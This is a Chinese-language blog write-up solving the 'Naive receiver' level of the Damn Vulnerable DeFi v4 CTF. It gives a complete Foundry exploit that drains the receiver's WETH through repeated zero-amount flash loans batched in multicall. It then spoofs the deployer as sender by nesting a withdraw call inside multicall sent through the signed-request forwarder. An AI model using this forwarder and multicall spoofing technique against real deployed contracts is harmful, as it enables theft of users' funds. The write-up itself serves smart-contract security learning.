Damn-vulnerable-defi-V4-solution(Naive receiver)

2025-08-26T22:31:00

一、Naive receiver

完整代码 https://github.com/theredguild/damn-vulnerable-defi/tree/v4.1.0/src/naive-receiver

需要 hack 的代码 https://github.com/theredguild/damn-vulnerable-defi/tree/v4.1.0/test/naive-receiver

1.背景:

我们有一个池子,用户可以在其中存入或提取 WETH,该池子还提供闪电贷功能,但需要支付一定的手续费。我们还有一个 receiver合约,可以接收闪电贷。该池子包含一个多调用功能(delegatecall内部使用),可以在一次调用中执行多个交易。withdraw功能也接受来自转发器的请求。

资金池和接收方都持有一些 WETH。目标是在不超过两笔交易内,将资金池和接收方的所有 WETH 转入恢复账户。

攻击逻辑:我们首先通过调用 flashloan 函数将所有 WETH 从接收方转移到池中(因此接收方每次都需要支付手续费)。之后,我们找到一种方法将所有 WETH 从 pool中取出。

任何人都可以直接调用flashLoan,没有权限的限制

// test code 
pool.flashLoan(IERC3156FlashBorrower(receiver), address(weth), 0, "")

每次接收方都会支付 1e18 个代币的闪电贷手续费。由于接收方拥有 10e18 个代币,因此调用此函数 10 次实际上会将所有 WETH 从receiver转移到pool中。然而,这需要 10 笔交易。为了避免这种情况,我们可以在池继承的合约中使用 multicall功能。

// Multicall.sol
// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;

import {Address} from "@openzeppelin/contracts/utils/Address.sol";
import {Context} from "@openzeppelin/contracts/utils/Context.sol";

abstract contract Multicall is Context {
    function multicall(bytes[] calldata data) external virtual returns (bytes[] memory results) {
        results = new bytes[](data.length);
        for (uint256 i = 0; i < data.length; i++) {
            results[i] = Address.functionDelegateCall(address(this), data[i]);
        }
        return results;
    }
}

该函数使用pool合约本身multicall实现。delegatecall使用其调用的合约代码,但使用调用者的 storage(在当前的情况下,调用者和被调用者都是pool合约,所以没啥问题)。

此处普及下使用 multicall 的坑

  1. storage 共用

    因为 delegatecall 在同一个 storage 上执行,假设 flashLoan 内部用了 storage 写入,会互相覆盖,和多次外部调用结果不一样。

  2. msg.sender 恒定

    在 multicall 内,msg.sender 永远是 multicall 的 caller,而不是每个调用自己独立的 msg.sender(可能会导致权限逻辑不一样)。

  3. reentrancy 风险

    因为它是一堆 delegatecall,如果内部函数依赖 nonReentrant 锁,可能导致整组调用中第一个成功,后面的被锁死。

  4. 错误传播

    任何一次 delegatecall revert,整个 multicall revert,不像循环外部 call 可以 try/catch 单独处理。

将十笔交易合并成一笔,我们可以这样做multicall

// test code 
bytes[] memory data = new bytes[](10);
for (uint i = 0; i < 10; i++) {
    data[i] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 0, ""));
}
pool.multicall(data);

成功地将所有 WETH 从 receiver 转到了pool中。

攻击的第二部分是将 WETH 从pool里转到recover账户。首先想到的是调用withdraw池子里的函数。

// NaiveReceiverPool.sol
function withdraw(uint256 amount, address payable receiver) external {
        // Reduce deposits
        deposits[_msgSender()] -= amount;
        totalDeposits -= amount;

        // Transfer ETH to designated receiver
        weth.transfer(receiver, amount);
    }

function _msgSender() internal view override returns (address) {
        if (msg.sender == trustedForwarder && msg.data.length >= 20) {
            return address(bytes20(msg.data[msg.data.length - 20:]));
        } else {
            return super._msgSender();
        }
    }

deployer(1000e18 初始存款 + 10e18 闪贷手续费)。作为 player,我们不能调用 withdraw,查询 deposits 是我们的余额是 0。

然而,forwarder似乎可以调用 withdraw,而depositor将是msg.data的最后 20 个字节。由于只有deployer拥有所有存款,我们需要想办法将msg.data的最后 20 个字节(与调用 时_msgSender使用的值相同)作为deployer的地址。现在让我们看看forwarder合约中的核心函数,因为我们可以使用forwarder来调用pool。

// from BasicForwarder.sol 

struct Request {
        address from;
        address target;
        uint256 value;
        uint256 gas;
        uint256 nonce;
        bytes data;
        uint256 deadline;
    }

function _checkRequest(Request calldata request, bytes calldata signature) private view {
        if (request.value != msg.value) revert InvalidValue();
        if (block.timestamp > request.deadline) revert OldRequest();
        if (nonces[request.from] != request.nonce) revert InvalidNonce();

        if (IHasTrustedForwarder(request.target).trustedForwarder() != address(this)) revert InvalidTarget();

        address signer = ECDSA.recover(_hashTypedData(getDataHash(request)), signature);
        if (signer != request.from) revert InvalidSigner();
    }

function execute(Request calldata request, bytes calldata signature) public payable returns (bool success) {
        _checkRequest(request, signature);

        nonces[request.from]++;

        uint256 gasLeft;
        uint256 value = request.value; // in wei
        address target = request.target;
        bytes memory payload = abi.encodePacked(request.data, request.from);
        uint256 forwardGas = request.gas;
        assembly {
            success := call(forwardGas, target, value, add(payload, 0x20), mload(payload), 0, 0) // don't copy returndata
            gasLeft := gas()
        }

        if (gasLeft < request.gas / 63) {
            assembly {
                invalid()
            }
        }
    }

接受BasicForwarder一个Request结构并具有一个execute将执行对任意 target调用的函数,只要签名可以通过以下逻辑进行验证。

address signer = ECDSA.recover(_hashTypedData(getDataHash(request)), signature);
if (signer != request.from) revert InvalidSigner();

由于我们只有玩家的私钥,所以我们只能设置request.from = player,因为生成签名的时候需要私钥。但是由于我们希望withdraw中的msg.data包含deployer的地址,因此我们需要找到另一种方法。

如果我们直接使用execute该函数来调用withdraw,调用将会失败。

// this will fail
BasicForwarder.Request memory request = BasicForwarder.Request({
            from: player,
            target: address(pool),
            value: 0,
            gas: gasleft(),
            nonce: 0,
            data: abi.encodeWithSignature("withdraw(uint256,address)", 1010e18, payable(recovery), deployer);,
            deadline: block.timestamp
        });
       
        bytes2 sig_part1 = 0x1901;
        bytes32 sig_part2 = forwarder.domainSeparator();
        bytes32 sig_part3 = forwarder.getDataHash(request);
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(playerPk, keccak256(abi.encodePacked(sig_part1, sig_part2, sig_part3)));
        forwarder.execute(request, abi.encodePacked(r, s, v));
    }

请注意,虽然withdraw只接受两个变量,但我们在abi.encodeWithSignature的末尾填充了 deployer的地址,希望它出现在msg.data的末尾。然而,失败了。事实证明,withdraw函数中获取到的 msg.sender的最后 20 个字节仍然是player的地址。

为什么?因为在execute函数中,calldata 就是payload。

bytes memory payload = abi.encodePacked(request.data, request.from);

request.from被填充在最后,所以request.from = player

然而就需要换个思路来绕过

bytes[] memory multiData = new bytes[](1);
        multiData[0] = abi.encodeWithSignature("withdraw(uint256,address)", 1010e18, payable(recovery), deployer);

        BasicForwarder.Request memory request = BasicForwarder.Request({
            from: player,
            target: address(pool),
            value: 0,
            gas: gasleft(),
            nonce: 0,
            data: abi.encodeWithSignature("multicall(bytes[])", multiData),
            deadline: block.timestamp
        });
        
        bytes2 sig_part1 = 0x1901;
        bytes32 sig_part2 = forwarder.domainSeparator();
        bytes32 sig_part3 = forwarder.getDataHash(request);
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(playerPk, keccak256(abi.encodePacked(sig_part1, sig_part2, sig_part3)));
        forwarder.execute(request, abi.encodePacked(r, s, v));

思路是使用 forwarder调用multicall这将导致池pool delegatecall自身发生变化。请注意,delegatecall与不同calldelegatecall不会改变msg.sender(因为它只是借用了它所调用的合约的代码),因此调用者仍然是BasicForwarder。然而,通过multicall确能实更改msg.data为我们需要的内容——即msg.data现在是multiCallData[0]。这样就绕过了request.frompayload填充在末尾存在的问题,无法设置 deployer 作为 msg.sender。

完整的解决方案:
function test_naiveReceiver() public checkSolvedByPlayer {
        
        bytes[] memory data = new bytes[](10);
        for (uint i = 0; i < 10; i++) {
            data[i] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 0, ""));
        }
        pool.multicall(data);
        bytes[] memory multiData = new bytes[](1);
        multiData[0] = abi.encodeWithSignature("withdraw(uint256,address)", 1010e18, payable(recovery), deployer);

        BasicForwarder.Request memory request = BasicForwarder.Request({
            from: player,
            target: address(pool),
            value: 0,
            gas: gasleft(),
            nonce: 0,
            data: abi.encodeWithSignature("multicall(bytes[])", multiData),
            deadline: block.timestamp
        });
        
        bytes2 sig_part1 = 0x1901;
        bytes32 sig_part2 = forwarder.domainSeparator();
        bytes32 sig_part3 = forwarder.getDataHash(request);
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(playerPk, keccak256(abi.encodePacked(sig_part1, sig_part2, sig_part3)));
        forwarder.execute(request, abi.encodePacked(r, s, v));
    }s

普及一下 EIP-712 中签名的工作原理。签名是通过使用私钥对消息进行签名生成的。该消息包含三个部分:

  • 第一部分是0x1901(前缀0x19来自EIP-191,用于签名数据的标准化处理,01表示EIP-712结构化数据)。
  • 第二部分是域名分隔符(由合约提供BasicForwarder,由名称、版本chain.id、合约地址构成详情请参阅 EIP-712 函数_buildDomainSeparator())。
  • 第三部分是请求的数据做哈希得到。

keccak256计算完消息的哈希值后,我们可以使用foundry 的 chetcode vm.sign对其进行签名,得到(v, r, s)。最终的签名为abi.encodePacked(r, s, v)(这可以在 OpenZeppelin 的 ECDSA 实现中看到)

测试的时候将其中一些关键的数据 log 出来之后有助于理解
ABI 编码规则

abi.encodeWithSignature("func(type1,type2,...)", args...) 会:

  1. 先生成函数选择器(function selector):前 4 字节是 keccak256("func(type1,type2,...)")[:4]
  2. 参数按 ABI 编码规则 依次编码:

    • 静态类型(uint256, address, bool, bytes32 等)占 32 字节,高位补 0
    • 动态类型(bytes, string, bytes[], arrays)在参数部分放 32 字节偏移量,实际数据放在 payload 后面
  3. 所有动态类型的数据会按 32 字节对齐 放在后面
// request.data
0xac9650d8 <- 函数选择器 multicall(bytes[])
0000000000000000000000000000000000000000000000000000000000000020 <-偏移量
0000000000000000000000000000000000000000000000000000000000000001 <-bytes[] 长度 = 1
0000000000000000000000000000000000000000000000000000000000000020 <-第一个bytes偏移量
0000000000000000000000000000000000000000000000000000000000000064 <-元素长度 = 100
00f714ce <- 函数选择器 withdraw(uint256,address)
000000000000000000000000000000000000000000000036c090d0ca68880000 <-参数uint256 正好是 1010e18 的 16 进制
00000000000000000000000073030b99950fb19c6a813465e58a0bca5487fbea <-参数address
000000000000000000000000ae0bdc4eeac5e950b67c6819b118761caaf61946 <-deployer的 address
00000000000000000000000000000000000000000000000000000000 <-abi.encodeWithSignature补齐 32 字节对齐

// forward abi.encodePacked(request.data, request.from) payload
0xac9650d8
0000000000000000000000000000000000000000000000000000000000000020
0000000000000000000000000000000000000000000000000000000000000001
0000000000000000000000000000000000000000000000000000000000000020
0000000000000000000000000000000000000000000000000000000000000064
00f714ce000000000000000000000000000000000000000000000036c090d0ca
6888000000000000000000000000000073030b99950fb19c6a813465e58a0bca
5487fbea000000000000000000000000ae0bdc4eeac5e950b67c6819b118761c
aaf6194600000000000000000000000000000000000000000000000000000000
44e97af4418b7a17aabd8090bea0a471a366305c <- abi.encodePacked(request.data, request.from) 直接追加的player地址

使用了补充下abi.encodeWithSignature 和 abi.encodePacked 的区别

abi.encodeWithSignature

等价于:

abi.encodeWithSelector(bytes4(keccak256(bytes(signature))), arguments...);

它会 严格遵循 ABI 编码规范(按 32 字节对齐)。

  • 函数选择器:前 4 字节
  • 每个参数:都占用 32 字节槽位(动态类型则是 offset + 数据区域)
abi.encodePacked

它是 紧凑拼接编码,不会对齐到 32 字节。

  • 不包含函数选择器
  • 不填充高位零
  • 各参数直接顺序拼接
方法是否包含函数选择器是否 32字节对齐用途
abi.encodeWithSignature✅ 包含(4字节)✅ 严格32字节对齐合约调用(低级 call, delegatecall)
abi.encodePacked❌ 不包含❌ 不对齐哈希(keccak256)、签名数据拼接
当前页面是本站的「Baidu MIP」版。发表评论请点击:完整版 »